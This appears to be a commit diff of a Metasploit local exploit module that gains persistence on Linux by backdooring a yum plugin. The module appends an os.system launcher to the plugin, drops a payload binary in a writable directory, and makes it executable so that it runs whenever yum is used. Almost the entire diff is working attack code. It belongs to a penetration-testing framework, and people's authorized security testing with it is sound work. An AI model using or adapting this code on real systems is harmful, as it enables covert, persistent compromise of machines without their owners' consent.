55
66class MetasploitModule < Msf ::Exploit ::Local
77 Rank = ExcellentRanking
8+
89 include Msf ::Exploit ::EXE
910 include Msf ::Exploit ::FileDropper
1011 include Msf ::Post ::File
1112 include Msf ::Post ::Linux ::System
13+ include Msf ::Exploit ::Local ::Persistence
14+ prepend Msf ::Exploit ::Remote ::AutoCheck
15+ include Msf ::Exploit ::Deprecated
16+ moved_from 'exploits/linux/local/yum_package_manager_persistence'
1217
1318 def initialize ( info = { } )
1419 super (
1520 update_info (
1621 info ,
1722 'Name' => 'Yum Package Manager Persistence' ,
1823 'Description' => %q{
19- This module will run a payload when the package manager is used. No
20- handler is ran automatically so you must configure an appropriate
21- exploit/multi/handler to connect. Module modifies a yum plugin to
22- launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
24+ This module will run a payload when the package manager is used.
25+ This module modifies a yum plugin to launch a binary of choice.
26+ grep -F 'enabled=1' /etc/yum/pluginconf.d/
2327 will show what plugins are currently enabled on the system.
28+ root persmissions are likely required.
29+ Verified on Centos 7.1
2430 } ,
2531 'License' => MSF_LICENSE ,
2632 'Author' => [ 'Aaron Ringo' ] ,
@@ -36,27 +42,24 @@ def initialize(info = {})
3642 ARCH_MIPSBE
3743 ] ,
3844 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
39- 'DefaultOptions' => {
40- 'WfsDelay' => 0 , 'DisablePayloadHandler' => true ,
41- 'Payload' => 'cmd/unix/reverse_python'
42- } ,
4345 'DisclosureDate' => '2003-12-17' , # Date published, Robert G. Browns documentation on Yum
4446 'References' => [ 'URL' , 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins' ] ,
4547 'Targets' => [ [ 'Automatic' , { } ] ] ,
4648 'DefaultTarget' => 0 ,
49+ 'Privileged' => true ,
4750 'Notes' => {
48- 'Reliability ' => UNKNOWN_RELIABILITY ,
49- 'Stability ' => UNKNOWN_STABILITY ,
50- 'SideEffects' => UNKNOWN_SIDE_EFFECTS
51+ 'Stability ' => [ CRASH_SAFE ] ,
52+ 'Reliability ' => [ REPEATABLE_SESSION , EVENT_DEPENDENT ] ,
53+ 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ]
5154 }
5255 )
5356 )
5457
5558 register_options (
5659 [
5760 # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
58- OptString . new ( 'PLUGIN' , [ true , 'Yum Plugin to target' , 'fastestmirror' ] ) ,
59- OptString . new ( 'BACKDOOR_NAME ' , [ false , 'Name of binary to write' ] )
61+ OptString . new ( 'PLUGIN' , [ true , 'Yum Plugin to target' , 'fastestmirror.py ' ] ) ,
62+ OptString . new ( 'PAYLOAD_NAME ' , [ false , 'Name of binary to write' ] )
6063 ]
6164 )
6265
@@ -68,53 +71,57 @@ def initialize(info = {})
6871 )
6972 end
7073
71- def exploit
74+ def check
75+ return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } does not exist" ) unless exists? datastore [ 'WritableDir' ]
76+ return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } not writable" ) unless writable? datastore [ 'WritableDir' ]
77+
7278 # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
7379 plugin = datastore [ 'PLUGIN' ]
74- full_plugin_path = "#{ datastore [ 'PluginPath' ] } #{ plugin } .py "
75- print_status ( full_plugin_path )
76- unless writable? full_plugin_path
77- fail_with Failure :: BadConfig , " #{ full_plugin_path } not writable, does not exist, or yum is not on system"
78- end
80+ full_plugin_path = "#{ datastore [ 'PluginPath' ] } #{ plugin } "
81+ return CheckCode :: Safe ( " #{ full_plugin_path } does not exist" ) unless exists? full_plugin_path
82+ return CheckCode :: Safe ( " #{ full_plugin_path } not writable" ) unless writable? full_plugin_path
83+ return CheckCode :: Safe ( 'yum not found on system' ) unless command_exists? ' yum'
84+ return CheckCode :: Safe ( 'sed not found on system, required for exploitation' ) unless command_exists? 'sed'
7985
8086 # /etc/yum.conf must contain plugins=1 for plugins to run at all
8187 plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
82- unless plugins_enabled . include? 'plugins=1'
83- fail_with Failure ::NotVulnerable , 'Plugins are not set to be enabled in /etc/yum.conf'
84- end
85- print_good ( 'Plugins are enabled!' )
88+ return CheckCode ::Safe ( 'Plugins are not set to be enabled in /etc/yum.conf' ) unless plugins_enabled . include? 'plugins=1'
89+
90+ vprint_good ( 'Plugins are enabled!' )
8691
8792 # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
88- plugin_conf = "/etc/yum/pluginconf.d/#{ plugin } .conf"
93+ plugin_conf = "/etc/yum/pluginconf.d/#{ plugin . sub ( '.py' , '' ) } .conf"
8994 plugin_enabled = cmd_exec "grep -F 'enabled=1' #{ plugin_conf } "
9095 unless plugin_enabled . include? 'enabled=1'
91- print_bad ( "#{ plugin_conf } plugin is not configured to run" )
92- fail_with Failure ::NotVulnerable , "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
93- end
94-
95- # plugins are made in python and generate pycs on successful execution
96- unless exist? "#{ full_plugin_path } c"
97- print_warning ( 'Either Yum has never been executed, or the selected plugin has not run' )
98- end
99-
100- # check for write in backdoor path and set/generate backdoor name
101- backdoor_path = datastore [ 'WritableDir' ]
102- unless writable? backdoor_path
103- fail_with Failure ::BadConfig , "#{ backdoor_path } is not writable"
96+ return CheckCode ::Safe ( "#{ plugin_conf } plugin is not configured to run" )
10497 end
105- backdoor_name = datastore [ 'BACKDOOR_NAME' ] || rand_text_alphanumeric ( 5 ..10 )
106- backdoor_path << backdoor_name
10798
10899 # check that the plugin contains an import os, to backdoor
109100 import_os_check = cmd_exec "grep -F 'import os' #{ full_plugin_path } "
110101 unless import_os_check . include? 'import os'
111- fail_with Failure :: NotVulnerable , "#{ full_plugin_path } does not import os, which is odd"
102+ return CheckCode :: Safe ( "#{ full_plugin_path } does not import os, which is odd" )
112103 end
113104
105+ CheckCode ::Detected ( 'yum installed and plugin found, enabled, and backdoorable' )
106+ end
107+
108+ def install_persistence
109+ plugin = datastore [ 'PLUGIN' ]
110+ full_plugin_path = "#{ datastore [ 'PluginPath' ] } /#{ plugin } "
111+
112+ # plugins are made in python and generate pycs on successful execution
113+ print_warning ( 'Either Yum has never been executed, or the selected plugin has not run' ) unless exist? "#{ full_plugin_path } c"
114+
115+ # check for write in backdoor path and set/generate backdoor name
116+ payload_path = datastore [ 'WritableDir' ]
117+ payload_path = payload_path . end_with? ( '/' ) ? payload_path : "#{ payload_path } /"
118+ payload_name = datastore [ 'PAYLOAD_NAME' ] || rand_text_alphanumeric ( 5 ..10 )
119+ payload_path << payload_name
120+
114121 # check for sed binary and then append launcher to plugin underneath
115122 print_status ( 'Attempting to modify plugin' )
116- launcher = "os.system('setsid #{ backdoor_path } 2>/dev/null \\ & ')"
117- sed_path = cmd_exec " command -v sed"
123+ launcher = "os.system('setsid #{ payload_path } 2>/dev/null \\ & ')"
124+ sed_path = cmd_exec ' command -v sed'
118125 unless sed_path . include? ( 'sed' )
119126 fail_with Failure ::NotVulnerable , 'Module uses sed to modify plugin, sed was not found'
120127 end
@@ -123,17 +130,18 @@ def exploit
123130
124131 # actually write users payload to be executed then check for write
125132 if payload . arch . first == 'cmd'
126- write_file ( backdoor_path , payload . encoded )
133+ write_file ( payload_path , payload . encoded )
127134 else
128- write_file ( backdoor_path , generate_payload_exe )
135+ write_file ( payload_path , generate_payload_exe )
129136 end
130- unless exist? backdoor_path
131- fail_with Failure ::Unknown , "Failed to write #{ backdoor_path } "
137+ @clean_up_rc << "rm #{ payload_path } \n "
138+ unless exist? payload_path
139+ fail_with Failure ::Unknown , "Failed to write #{ payload_path } "
132140 end
133141
134142 # change perms to reflect bins in /usr/local/bin/, give good feels
135- chmod ( backdoor_path , 0755 )
136- print_status ( "Backdoor uploaded to #{ backdoor_path } " )
137- print_status ( 'Backdoor will run on next Yum update' )
143+ chmod ( payload_path , 0o755 )
144+ print_status ( "Backdoor uploaded to #{ payload_path } " )
145+ print_good ( 'Backdoor will run on next Yum update' )
138146 end
139147end
0 commit comments